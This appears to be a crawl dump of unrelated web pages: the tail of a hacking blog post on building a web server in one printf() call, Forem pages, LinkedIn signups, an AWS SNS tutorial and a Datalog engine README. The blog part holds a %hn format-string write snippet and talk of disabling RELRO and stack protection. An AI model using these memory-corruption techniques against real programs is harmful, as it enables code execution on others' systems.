relocation table area in the final ELF. To be able to run the examples in ubuntu, add this in the command line when compiling -Wl,-z,norelro e.g: gcc -Wl,-z,norelro test.c Author admin Posted on March 12, 2014 April 28, 2017 Categories hacks 18 thoughts on “Implementing a web server in a single printf() call” dodi says: March 12, 2014 at 2:04 pm eh buset, serius nih lu ? 🙂 Reply priyo says: March 13, 2014 at 5:07 am scroll up… scroll down… scroll up… scroll down… 100x gagal paham* Reply terminalcommand says: March 13, 2014 at 5:19 am Thank you! Very interesting article. I also didn’t know about the one line webserver at google. Although this is a hard topic, you’ve made a great work simplifying it. Reply Basun says: March 13, 2014 at 10:02 am The one line webserver bit is a joke about Jeff Dean, who works at Google. Its not real. 🙂 Reply Cees Timmerman says: April 20, 2016 at 4:12 pm There are real webserver oneliners: https://gist.github.com/willurd/5720255 Reply anonim says: March 13, 2014 at 5:29 am Diskusinya di https://news.ycombinator.com/item?id=7389623 Reply Neil says: March 13, 2014 at 12:38 pm Shouldn’t there be an exit() somewhere in the fork==0 branch? Otherwise every time there is a request the new child process will become a server too and start accepting requests, right? I think the parent leaks its copy of the file descriptor too. Maybe the fork is a bit redundant. I don’t think the write or close will block with such a small amount of data. Cool post though! I’m not really sure why I’m nitpicking in the shell code. Sorry. Reply admin says: March 14, 2014 at 1:58 am Ah yes, there is an exit from the loop on the assembly code (myhttp.s) but it got removed from http.c when I removed the comment and debug code. And you are also right about the fork, it is unnecessary in this case. At first I was going to write the HTTP headers and then exec some external command. I changed my mind and didn’t bother deleting the fork call. Reply Kyle Ross says: March 13, 2014 at 11:02 pm This is really interesting, but I’m having trouble following whats actually happening. Could you explain how you reduced that C code with includes and methods into a string containing hex codes and how that is turned back into some sort of executable code? Thanks Reply admin says: March 14, 2014 at 2:01 am I think it is beyond the scope of this article to explain about shell code writing. There are many books and tutorials that you can read (just search for “buffer overflow” or “shell code writing”). Reply TTK Ciar says: March 14, 2014 at 1:05 am Alternatively: $ perl -Mojo -E ‘a({inline => “%= `uptime`”})->start’ daemon & Server available at http://127.0.0.1:3000 . $ lynx -dump -nolist http://127.0.0.1:3000/ 17:57:56 up 66 days, 6:45, 108 users, load average: 0.10, 0.12, 0.07 though, perl by definition is cheating. Reply Evan Danaher says: March 14, 2014 at 2:54 pm I’m not sure why you used finalizers instead of just changing the return address on the stack; this may be the first time I’ve ever said this, but stack smashing is much more portable. I’ve made a variant that I’d expect to work on any gcc 4.4-4.7 on x86_64 Linux, and have some ideas which, if they work out, may make it actually “portable” to any x86/x86_64 Unix running a reasonable compiler. https://github.com/edanaher/printf-webserver Reply admin says: March 17, 2014 at 3:02 pm Yes using the stack is also possible, but on most modern system, GCC is compiled with stack protection turned on (and needs to be disabled using -fno-stack-protector). Reply Pingback: Implementing a web server in a single printf() call « adafruit industries blog Itzik Kotler says: March 15, 2014 at 4:35 pm Pretty neat. I did something similar (all though simpler) back in the days. See: http://www.exploit-db.com/papers/13233/ Reply Pingback: Saving the world, one cpu cycle at a time \| Dav's bit o the web programath says: April 22, 2014 at 1:18 pm printf(“%c%hn%c%hn”, b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); ————————————————— i think the fourth parameter should be ‘a-b’, not ‘b-a’, because a == b + (a – b) Reply Pingback: New top story on Hacker News: Implementing a web server in a single printf call (2014) – Latest news Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. Δ Post navigation Previous Previous post: Raspberry Pi for Out of Band Linux PC management Next Next post: Exploiting the Futex Bug and uncovering Towelroot Pages About Archive Search for: Search Follow x.com/yohanes Mastodon Recent Posts CVE-2025-31931 Arbitrary Shared Library Loading in Intel ITT API on Android (affects OpenCV <= 4.10) Decrypting Encrypted files from Akira Ransomware (Linux/ESXI variant 2024) using a bunch of GPUs Patching .so files of an installed Android App Extracting WhatsApp Database (or any app data) from Android 12/13 using CVE-2024-0044 Zygisk-based reFlutter Recent Comments Eitan Porat on About admin on Using U-Boot to extract Boot Image from Pritom P7 lpt2007 on Using U-Boot to extract Boot Image from Pritom P7 admin on Using U-Boot to extract Boot Image from Pritom P7 lpt2007 on Using U-Boot to extract Boot Image from Pritom P7 Archives November 2025 March 2025 November 2024 June 2024 April 2024 January 2024 December 2023 September 2022 March 2021 January 2021 May 2019 January 2019 November 2018 July 2018 May 2018 February 2018 October 2017 September 2017 March 2017 November 2016 November 2015 July 2014 March 2014 February 2014 June 2013 January 2013 November 2011 March 2011 February 2011 July 2010 April 2010 January 2010 December 2009 September 2009 August 2009 June 2009 May 2009 April 2009 March 2009 February 2009 January 2009 December 2008 October 2008 September 2008 August 2008 July 2008 June 2008 May 2008 March 2008 February 2008 October 2007 June 2007 February 2007 January 2007 December 2006 Categories agestar android blog ctf debian flareon flex freebsd google hacks hardware hostmonster linux mac os x misc mobile opensource phone raspberry reverse-engineering sdr security Uncategorized wii writeup Meta Log in Entries feed Comments feed WordPress.org Tinyhack.com Proudly powered by WordPress	2026-01-13T08:47:55
https://core.forem.com/t/analytics	Analytics - Forem Core Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account Forem Core Close # analytics Follow Hide Analytics and metrics reporting Create Post Posts Left menu 👋 Sign in for the ability to sort posts by relevant , latest , or top . Right menu loading... 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV Forem Core — Discussing the core forem open source software project — features, bugs, performance, self-hosting. Home About Contact Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . Forem Core © 2016 - 2026. Community building community Log in Create account	2026-01-13T08:47:55
https://core.forem.com/terms	Web Site Terms and Conditions of Use - Forem Core Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account Forem Core Close Web Site Terms and Conditions of Use 1. Terms By accessing this web site, you are agreeing to be bound by these web site Terms and Conditions of Use, our Privacy Policy , all applicable laws and regulations, and agree that you are responsible for compliance with any applicable local laws. If you do not agree with any of these terms, you are prohibited from using or accessing this site. The materials contained in this web site are protected by applicable copyright and trade mark law. 2. Use License Permission is granted to temporarily download one copy of the materials (information or software) on DEV Community's web site for personal, non-commercial transitory viewing only. This is the grant of a license, not a transfer of title, and under this license you may not: modify or copy the materials; use the materials for any commercial purpose, or for any public display (commercial or non-commercial); attempt to decompile or reverse engineer any software contained on DEV Community's web site; remove any copyright or other proprietary notations from the materials; or transfer the materials to another person or "mirror" the materials on any other server. This license shall automatically terminate if you violate any of these restrictions and may be terminated by DEV Community at any time. Upon terminating your viewing of these materials or upon the termination of this license, you must destroy any downloaded materials in your possession whether in electronic or printed format. 3. Disclaimer The materials on DEV Community's web site are provided "as is". DEV Community makes no warranties, expressed or implied, and hereby disclaims and negates all other warranties, including without limitation, implied warranties or conditions of merchantability, fitness for a particular purpose, or non-infringement of intellectual property or other violation of rights. Further, DEV Community does not warrant or make any representations concerning the accuracy, likely results, or reliability of the use of the materials on its Internet web site or otherwise relating to such materials or on any sites linked to this site. 4. Limitations In no event shall DEV Community or its suppliers be liable for any damages (including, without limitation, damages for loss of data or profit, or due to business interruption,) arising out of the use or inability to use the materials on DEV Community's Internet site, even if DEV Community or an authorized representative has been notified orally or in writing of the possibility of such damage. Because some jurisdictions do not allow limitations on implied warranties, or limitations of liability for consequential or incidental damages, these limitations may not apply to you. 5. Revisions and Errata The materials appearing on DEV Community's web site could include technical, typographical, or photographic errors. DEV Community does not warrant that any of the materials on its web site are accurate, complete, or current. DEV Community may make changes to the materials contained on its web site at any time without notice. DEV Community does not, however, make any commitment to update the materials. 6. Links DEV Community has not reviewed all of the sites linked to its Internet web site and is not responsible for the contents of any such linked site. The inclusion of any link does not imply endorsement by DEV Community of the site. Use of any such linked web site is at the user's own risk. 7. Copyright / Takedown Users agree and certify that they have rights to share all content that they post on DEV Community — including, but not limited to, information posted in articles, discussions, and comments. This rule applies to prose, code snippets, collections of links, etc. Regardless of citation, users may not post copy and pasted content that does not belong to them. DEV Community does not tolerate plagiarism of any kind, including mosaic or patchwork plagiarism. Users assume all risk for the content they post, including someone else's reliance on its accuracy, claims relating to intellectual property, or other legal rights. If you believe that a user has plagiarized content, misrepresented their identity, misappropriated work, or otherwise run afoul of DMCA regulations, please email support@dev.to. DEV Community may remove any content users post for any reason. 8. Site Terms of Use Modifications DEV Community may revise these terms of use for its web site at any time without notice. By using this web site you are agreeing to be bound by the then current version of these Terms and Conditions of Use. 9. DEV Community Trademarks and Logos Policy All uses of the DEV Community logo, DEV Community badges, brand slogans, iconography, and the like, may only be used with express permission from DEV Community. DEV Community reserves all rights, even if certain assets are included in DEV Community open source projects. Please contact support@dev.to with any questions or to request permission. 10. Reserved Names DEV Community has the right to maintain a list of reserved names which will not be made publicly available. These reserved names may be set aside for purposes of proactive trademark protection, avoiding user confusion, security measures, or any other reason (or no reason). Additionally, DEV Community reserves the right to change any already-claimed name at its sole discretion. In such cases, DEV Community will make reasonable effort to find a suitable alternative and assist with any transition-related concerns. 11. Content Policy The following policy applies to comments, articles, and all other works shared on the DEV Community platform: Users must make a good-faith effort to share content that is on-topic, of high-quality, and is not designed primarily for the purposes of promotion or creating backlinks. Posts must contain substantial content — they may not merely reference an external link that contains the full post. If a post contains affiliate links, that fact must be clearly disclosed. For instance, with language such as: “This post includes affiliate links; I may receive compensation if you purchase products or services from the different links provided in this article.” DEV Community reserves the right to remove any content that it deems to be in violation of this policy at its sole discretion. Additionally, DEV Community reserves the right to restrict any user’s ability to participate on the platform at its sole discretion. 12. Fees, Payment, Renewal Fees for Paid Services .Fees for Paid Services. Some of our Services may be offered for a fee (collectively, “Paid Services”). This section applies to any purchases of Paid Services. By using a Paid Service, you agree to pay the specified fees. Depending on the Paid Service, there may be different kinds of fees, for instance some that are one-time, recurring, and/or based on an advertising campaign budget that you set. For recurring fees (AKA Subscriptions), your subscription begins on your purchase date, and we’ll bill or charge you in the automatically-renewing interval (such as monthly, annually) you select, on a pre-pay basis until you cancel, which you can do at any time by contacting plusplus@dev.to . Payment. You must provide accurate and up-to-date payment information. By providing your payment information, you authorize us to store it until you request deletion. If your payment fails, we suspect fraud, or Paid Services are otherwise not paid for or paid for on time (for example, if you contact your bank or credit card company to decline or reverse the charge of fees for Paid Services), we may immediately cancel or revoke your access to Paid Services without notice to you. You authorize us to charge any updated payment information provided by your bank or payment service provider (e.g., new expiration date) or other payment methods provided if we can’t charge your primary payment method. Automatic Renewal. By enrolling in a subscription, you authorize us to automatically charge the then-applicable fees for each subsequent subscription period until the subscription is canceled. If you received a discount, used a coupon code, or subscribed during a free trial or promotion, your subscription will automatically renew for the full price of the subscription at the end of the discount period. This means that unless you cancel a subscription, it’ll automatically renew and we’ll charge your payment method(s). The date for the automatic renewal is based on the date of the original purchase and cannot be changed. You can view your renewal date(s), cancel, or manage subscriptions by contacting plusplus@dev.to . Fees and Changes. We may change our fees at any time in accordance with these Terms and requirements under applicable law. This means that we may change our fees going forward or remove or update features or functionality that were previously included in the fees. If you don’t agree with the changes, you must cancel your Paid Service. Refunds. There are no refunds and all payments are final. European Users: You have the right to withdraw from the transaction within fourteen (14) days from the date of the purchase without giving any reason as long as your purchase was not of downloadable content or of a customized nature, and (i) the service has not been fully performed, or (ii) subject to other limitations as permitted by law. If you cancel this contract, we will reimburse you all payments we have received from you, without undue delay and no later than within fourteen days from the day on which we received the notification of your cancellation of this contract. For this repayment, we will use the same means of payment that you used for the original transaction, unless expressly agreed otherwise with you; you will not be charged for this repayment. You may exercise your right to withdrawal by sending a clear, email request to plusplus@dev.to with the following information: List of services you wish to withdraw from List the date that you purchased the goods or services. If this is a recurring subscription, please list the most recent renewal date List your full legal name and the email associated with your account List the address in which you legally reside Today's Date 13. Governing Law Any claim relating to DEV Community's web site shall be governed by the laws of the State of New York without regard to its conflict of law provisions. General Terms and Conditions applicable to Use of a Web Site. 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV Forem Core — Discussing the core forem open source software project — features, bugs, performance, self-hosting. Home About Contact Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . Forem Core © 2016 - 2026. Community building community Log in Create account	2026-01-13T08:47:55
https://www.linkedin.com/signup/cold-join?session_redirect=https%3A%2F%2Fwww.linkedin.com%2Ffeed%2Fhashtag%2Fruul&trk=organization_guest_main-feed-card-text	Sign Up \| LinkedIn Join LinkedIn now — it’s free! Not you? Remove photo Join LinkedIn To create a LinkedIn account, you must understand how LinkedIn processes your personal information by selecting learn more for each item listed. Agree to all terms We collect and use personal information. Learn more We share personal information with third parties to provide our services. Learn more Further information is available in our Korea Privacy Addendum . Privacy Policy Addendum 1 of 2 2 of 2 Agree to the term Continue Back Agree to all terms Email Password Show First name Last name By clicking Agree & Join, you agree to the LinkedIn User Agreement , Privacy Policy , and Cookie Policy . Agree & Join or Security verification Already on LinkedIn? Sign in Looking to create a page for a business? Get help LinkedIn © 2026 About Accessibility User Agreement Privacy Policy Cookie Policy Copyright Policy Brand Policy Guest Controls Community Guidelines العربية (Arabic) বাংলা (Bangla) Čeština (Czech) Dansk (Danish) Deutsch (German) Ελληνικά (Greek) English (English) Español (Spanish) فارسی (Persian) Suomi (Finnish) Français (French) हिंदी (Hindi) Magyar (Hungarian) Bahasa Indonesia (Indonesian) Italiano (Italian) עברית (Hebrew) 日本語 (Japanese) 한국어 (Korean) मराठी (Marathi) Bahasa Malaysia (Malay) Nederlands (Dutch) Norsk (Norwegian) ਪੰਜਾਬੀ (Punjabi) Polski (Polish) Português (Portuguese) Română (Romanian) Русский (Russian) Svenska (Swedish) తెలుగు (Telugu) ภาษาไทย (Thai) Tagalog (Tagalog) Türkçe (Turkish) Українська (Ukrainian) Tiếng Việt (Vietnamese) 简体中文 (Chinese (Simplified)) 正體中文 (Chinese (Traditional)) Language Follow top companies Over 60% of the fortune 100 companies use LinkedIn to hire. Join now Leave	2026-01-13T08:47:55
https://core.forem.com/t/postgres	Postgres - Forem Core Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account Forem Core Close # postgres Follow Hide Posts on tips and tricks, using and learning about PostgreSQL for database development and analysis. Create Post submission guidelines Articles should be related to Postgres development, performance, scalability, optimisation or analysis in some way. Posts Left menu 👋 Sign in for the ability to sort posts by relevant , latest , or top . Right menu loading... 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV Forem Core — Discussing the core forem open source software project — features, bugs, performance, self-hosting. Home About Contact Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . Forem Core © 2016 - 2026. Community building community Log in Create account	2026-01-13T08:47:55
https://www.linkedin.com/signup/cold-join?session_redirect=https%3A%2F%2Fwww.linkedin.com%2Ffeed%2Fhashtag%2Fsubscriptions&trk=organization_guest_main-feed-card-text	Sign Up \| LinkedIn Join LinkedIn now — it’s free! Not you? Remove photo Join LinkedIn To create a LinkedIn account, you must understand how LinkedIn processes your personal information by selecting learn more for each item listed. Agree to all terms We collect and use personal information. Learn more We share personal information with third parties to provide our services. Learn more Further information is available in our Korea Privacy Addendum . Privacy Policy Addendum 1 of 2 2 of 2 Agree to the term Continue Back Agree to all terms Email Password Show Keep me logged in First name Last name By clicking Agree & Join, you agree to the LinkedIn User Agreement , Privacy Policy , and Cookie Policy . Agree & Join or Security verification Already on LinkedIn? Sign in Looking to create a page for a business? Get help LinkedIn © 2026 About Accessibility User Agreement Privacy Policy Cookie Policy Copyright Policy Brand Policy Guest Controls Community Guidelines العربية (Arabic) বাংলা (Bangla) Čeština (Czech) Dansk (Danish) Deutsch (German) Ελληνικά (Greek) English (English) Español (Spanish) فارسی (Persian) Suomi (Finnish) Français (French) हिंदी (Hindi) Magyar (Hungarian) Bahasa Indonesia (Indonesian) Italiano (Italian) עברית (Hebrew) 日本語 (Japanese) 한국어 (Korean) मराठी (Marathi) Bahasa Malaysia (Malay) Nederlands (Dutch) Norsk (Norwegian) ਪੰਜਾਬੀ (Punjabi) Polski (Polish) Português (Portuguese) Română (Romanian) Русский (Russian) Svenska (Swedish) తెలుగు (Telugu) ภาษาไทย (Thai) Tagalog (Tagalog) Türkçe (Turkish) Українська (Ukrainian) Tiếng Việt (Vietnamese) 简体中文 (Chinese (Simplified)) 正體中文 (Chinese (Traditional)) Language Follow top companies Over 60% of the fortune 100 companies use LinkedIn to hire. Join now Leave	2026-01-13T08:47:55
https://www.suprsend.com/post/serverless-notification-service-with-aws-lambda-and-amazon-sns	Serverless Notification Service with AWS Lambda and Amazon SNS Product FEATURES Template Engine Powerful template editors for all channels App Inbox Fully customizable inbox for your app & website Analytics Deep data insights on notification performance Logs Real-time notifications logs for all channels Smart Routing Reach users where they are Branding Seamlessly manage multi-brand customization Workflows Craft complex notification workflows Bifrost Run notifications natively on data warehouse Preferences Develop user focused notifications Integrations Integrate any channel and provider within mins Solutions BY USECASES Transactional Real-time alerts like authentication, activity updates Batching & Digest Aggregate multiple alerts into one Collaboration & Action Alerts on cross-user activity Scheduled Notifications One-time or recurring alerts like reminders Multi-tenant Alerts tailored to your customer's preferences Announcement / Newsletters Feature releases, achievements, product & policy updates Pricing Docs Customers Blog Login Get Started For Free Login Sign up Engineering Serverless Notification Service with AWS Lambda and Amazon SNS Sanjeev Kumar • August 30, 2024 TABLE OF CONTENTS Building a serverless notification service using AWS Lambda and Amazon SNS can provide a scalable and cost-effective solution for handling high volumes of notifications. In this article, we'll explore how to build a serverless notification service using AWS Lambda and Amazon SNS. ‍ Architecture Overview ‍ Our serverless notification service will consist of the following components: Notification Service : The backend service responsible for sending notifications. AWS Lambda : The serverless compute service used to handle notification requests. Amazon SNS : The messaging service used to fan out notifications to multiple subscribers. Building the Notification Service with AWS Lambda Create an AWS Lambda Function : Create an AWS Lambda function that handles notification requests and sends notifications using Amazon SNS. Configure the Lambda Function : Configure the Lambda function to use a specific runtime (e.g., Node.js) and set the handler function. Test the Lambda Function : Test the Lambda function to ensure it sends notifications correctly. Copy Code // Example of an AWS Lambda function in Node.js exports.handler = async (event) => { const sns = new AWS.SNS({ region: 'us-west-2' }); const params = { Message: 'Hello, World!', Subject: 'Notification', TopicArn: 'arn:aws:sns:us-west-2:123456789012:my-topic', }; sns.publish(params, (err, data) => { if (err) { console.log(err); } else { console.log(data); } }); return { statusCode: 200, body: JSON.stringify({ message: 'Notification sent successfully' }), }; }; Configuring Amazon SNS Create an Amazon SNS Topic : Create an Amazon SNS topic to fan out notifications to multiple subscribers. Subscribe to the Topic : Subscribe to the topic using the aws sns subscribe command or using the AWS Management Console. Configure the Topic : Configure the topic to use a specific protocol (e.g., HTTP or HTTPS) and set the endpoint URL. Scalability and Performance Use AWS Lambda's Auto Scaling : Use AWS Lambda's auto scaling feature to automatically scale the notification service based on demand. Use Amazon SNS's Fan-Out : Use Amazon SNS's fan-out feature to distribute notifications to multiple subscribers. Monitor and Optimize : Monitor the performance of the serverless notification service and optimize it as needed to ensure reliability and scalability. By building a serverless notification service using AWS Lambda and Amazon SNS, you can provide a scalable and cost-effective solution for handling high volumes of notifications. Remember to configure AWS Lambda and Amazon SNS resources, such as functions, topics, and subscriptions, to suit your specific requirements and ensure optimal performance. Share this blog on: Written by: Sanjeev Kumar Engineering, SuprSend Implement a powerful stack for your notifications Get Started For Free Book Demo Company About us Signup Login Integrations Pricing Security Privacy Terms Contact Us Support SuprSend for Startups API Status Sign Up Channels Email SMS Notification Inbox Android Push iOS Push Web Push Xiaomi Push Whatsapp SDK Python SDK Node.js SDK Java SDK Android SDK React Native SDK iOS SDK Flutter SDK Go SDK Resources Documentation Changelog Blogs Write for us SMTP Error Codes SMS Providers Comparisons Email Providers Comparisons SMS Providers Alternatives Join us on Slack We are building a community of developers and product builders from across the globe to make notifications a pleasant experience. © 2025 All rights reserved. SuprStack Inc. By clicking “Accept All Cookies” , you agree to the storing of cookies on your device to enhance site navigation, analyze site usage, and assist in our marketing efforts. View our Privacy Policy for more information. Preferences Deny Accept Privacy Preference Center When you visit websites, they may store or retrieve data in your browser. This storage is often necessary for the basic functionality of the website. The storage may be used for marketing, analytics, and personalization of the site, such as storing your preferences. Privacy is important to us, so you have the option of disabling certain types of storage that may not be necessary for the basic functioning of the website. Blocking categories may impact your experience on the website. Reject all cookies Allow all cookies Manage Consent Preferences by Category Essential Always Active These items are required to enable basic website functionality. Marketing Essential These items are used to deliver advertising that is more relevant to you and your interests. They may also be used to limit the number of times you see an advertisement and measure the effectiveness of advertising campaigns. Advertising networks usually place them with the website operator’s permission. Personalization Essential These items allow the website to remember choices you make (such as your user name, language, or the region you are in) and provide enhanced, more personal features. For example, a website may provide you with local weather reports or traffic news by storing data about your current location. Analytics Essential These items help the website operator understand how its website performs, how visitors interact with the site, and whether there may be technical issues. This storage type usually doesn’t collect information that identifies a visitor. Confirm my preferences and close Get 10% OFF on your next order Subscribe to our newsletter and receive a 10% OFF coupon to use on your next order. Please check your email for your 10% OFF coupon Oops! Something went wrong while submitting the form.	2026-01-13T08:47:55
https://github.com/quoll/naga	GitHub - quoll/naga: Datalog based rules engine Skip to content Navigation Menu Toggle navigation Sign in Appearance settings Platform AI CODE CREATION GitHub Copilot Write better code with AI GitHub Spark Build and deploy intelligent apps GitHub Models Manage and compare prompts MCP Registry New Integrate external tools DEVELOPER WORKFLOWS Actions Automate any workflow Codespaces Instant dev environments Issues Plan and track work Code Review Manage code changes APPLICATION SECURITY GitHub Advanced Security Find and fix vulnerabilities Code security Secure your code as you build Secret protection Stop leaks before they start EXPLORE Why GitHub Documentation Blog Changelog Marketplace View all features Solutions BY COMPANY SIZE Enterprises Small and medium teams Startups Nonprofits BY USE CASE App Modernization DevSecOps DevOps CI/CD View all use cases BY INDUSTRY Healthcare Financial services Manufacturing Government View all industries View all solutions Resources EXPLORE BY TOPIC AI Software Development DevOps Security View all topics EXPLORE BY TYPE Customer stories Events & webinars Ebooks & reports Business insights GitHub Skills SUPPORT & SERVICES Documentation Customer support Community forum Trust center Partners Open Source COMMUNITY GitHub Sponsors Fund open source developers PROGRAMS Security Lab Maintainer Community Accelerator Archive Program REPOSITORIES Topics Trending Collections Enterprise ENTERPRISE SOLUTIONS Enterprise platform AI-powered developer platform AVAILABLE ADD-ONS GitHub Advanced Security Enterprise-grade security features Copilot for Business Enterprise-grade AI features Premium Support Enterprise-grade 24/7 support Pricing Search or jump to... Search code, repositories, users, issues, pull requests... --> Search Clear Search syntax tips Provide feedback --> We read every piece of feedback, and take your input very seriously. Include my email address so I can be contacted Cancel Submit feedback Saved searches Use saved searches to filter your results more quickly --> Name Query To see all available qualifiers, see our documentation . Cancel Create saved search Sign in Sign up Appearance settings Resetting focus You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session. You switched accounts on another tab or window. Reload to refresh your session. Dismiss alert {{ message }} quoll / naga Public forked from threatgrid/naga Notifications You must be signed in to change notification settings Fork 2 Star 47 Datalog based rules engine License EPL-1.0 license 47 stars 19 forks Branches Tags Activity Star Notifications You must be signed in to change notification settings Code Pull requests 0 Actions Projects 0 Wiki Security Uh oh! There was an error while loading. Please reload this page . Insights Additional navigation options Code Pull requests Actions Projects Wiki Security Insights quoll/naga main Branches Tags Go to file Code Open more actions menu Folders and files Name Name Last commit message Last commit date Latest commit History 401 Commits cli cli doc doc resources/ test resources/ test src/ naga src/ naga test test .gitignore .gitignore .travis.yml .travis.yml CHANGELOG.md CHANGELOG.md CODE_OF_CONDUCT.md CODE_OF_CONDUCT.md LICENSE LICENSE Naga.png Naga.png README.md README.md project.clj project.clj View all files Repository files navigation README Code of conduct EPL-1.0 license Naga Datalog based rules engine. Naga allows users to load data, and define rules to entailed new data. Once rules have been executed, the database will be populated with new inferences which can be queried. Naga can use the Asami database , or wrap an external graph database. A command line utility to demonstrate Naga will load rules, into memory, run them, and print all the inferred results. Usage Naga is a library for executing rules on a graph database. There is also an included project called Naga-CLI (in the cli directory). This was written as an example of how to use the Datomic API , but it can also be run on a Datalog script as a utility. The script can be provided via stdin or in a filename argument. The easiest way to run this tool is with Leiningen . cd cli lein run example_data/family.lg This runs the program found in the example_data/family.lg file. It loads the data specified in the file, executes the rules, and finally prints the final results database, without the input data. Options --init Initialization data for the configured storage. --json Input path/url for JSON to be loaded and processed. --out Output file when processing JSON data (ignored when JSON not used). --uri URI describing a database to connect to. (default: mem . Datomic supported). Programs The language being implemented is called "Pabu" and it strongly resembles Prolog. It is simply a series of statements, which are of two types: assertions and rules. Assertions To declare facts, specify a unary or binary predicate. man(fred). friend(fred,barney). The first statement declares that fred is of type man . The second declares that fred has a friend who is barney . Nothing needs to be declared about man or friend . The system doesn't actually care what they mean, just that they can be used in this way. The use of these predicates is all the declaration that they need. Rules Rules are declared in 2 parts. head :- body . The body of the rule, defines the data that causes the rule to be executed. This is a comma separated series of predicates, each typically containing one or more variables. The predicate itself can also be variable (this is very unusual in logic systems). The head of the rule uses some of the variables in the body to declare new information that the rule will create. It is comprised of a single predicate. Variables are words that begin with a capital letter (yes, Prolog really does look like this). Here is a rule that will infer an uncle relationship from existing data: uncle(Nibling,Uncle) :- parent(Nibling,Parent), brother(Parent,Uncle). In the above statement, Nibling , Parent , and Uncle are all variables. Once variables have been found to match the predicates after the :- symbol, then they can be substituted into the uncle predicate in the head of the rule. Other Syntax Both assertions and rules end with a period. Pabu (and Prolog) uses "C" style comments: /* This is a comment */ Any element can be given a namespace by using a colon separator. Only 1 colon may appear in an identifier. owl:SymmetricProperty(sibling). To see this in use, look in pabu/family-2nd-ord.lg, and try running it: lein run example_data/family-2nd-ord.lg APIs Naga defines a data access API to talk to storage. This is a Clojure protocol or Java interface called Storage , found in naga.store . It should be possible to wrap most graph database APIs in the Storage API. For the moment, the only configured implementations are Asami and Datomic . Recently, the focus has been 